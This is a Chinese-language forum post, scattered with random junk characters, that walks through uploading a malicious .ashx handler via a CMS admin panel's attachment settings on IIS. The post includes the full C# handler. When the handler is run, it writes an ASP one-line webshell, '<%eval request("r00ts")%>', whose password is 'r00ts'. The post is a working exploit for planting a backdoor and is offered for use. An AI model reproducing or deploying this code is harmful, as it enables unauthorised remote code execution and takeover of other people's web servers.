首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
7 G* k0 p$ w3 U& ?, ?4 o) [1 G5 @ ) X" z) r. s* m$ g5 h9 z: c' Y
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
1 f. x! b8 T5 w8 }) R; K: X0 s- D q! L
) P: P1 ~0 J3 L m: D }发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
2 y, M0 G3 k W ]; s1 _+ U / e9 B% I. A1 B2 ?' ]
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
3 ^1 o n, _) |
, f3 ?9 a2 |! Y7 ?6 W, s: h4 ^打开之后空白 会在目录底下生成r00ts.asp 密码r00ts/ e( v+ O7 ^; n( N; F
( g5 r! W: @# `' J& ~+ D
下面是代码:/ z1 F6 G$ N) M$ q; _* B j. R- e
! B( ^8 \9 k# A+ a6 X" j<%@ WebHandler Language="C#"Class="Handler" %>, |$ n/ u- X3 A% r/ a
using System;3 @& o- N+ s6 `1 _
using System.Web;
! c- c% S n i, c6 husing System.IO;- f8 v/ D. S2 ~* }1 O" I. W, k
public class Handler : IHttpHandler {- H" k" Z2 l4 a8 B/ J8 ^
public void ProcessRequest (HttpContext context) {
% \! h3 _2 g. V+ a1 Qcontext.Response.ContentType = "text/plain";) f2 ?1 I4 W+ I% D
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
! U6 I* C# Q, M$ n9 g5 K4 Ofile1.Write("<%eval request(\"r00ts\")%>");
+ p. s+ K. [+ ^6 _file1.Flush();
A0 G- G' M9 I7 g) ~file1.Close();
" c6 J$ y6 {. c6 c* T' l}
0 D9 i. `! f: X& M$ `public bool IsReusable {$ |) q! w' ~, @) N: n1 m
get {$ L, ^' U _; s7 N( Z+ H
return false;# \0 a3 M' `* |. w% @9 C
}
3 U6 n2 W/ _' N}; a/ K) W8 I: M6 g
}
: _2 W! q6 x+ y! Q9 f9 a |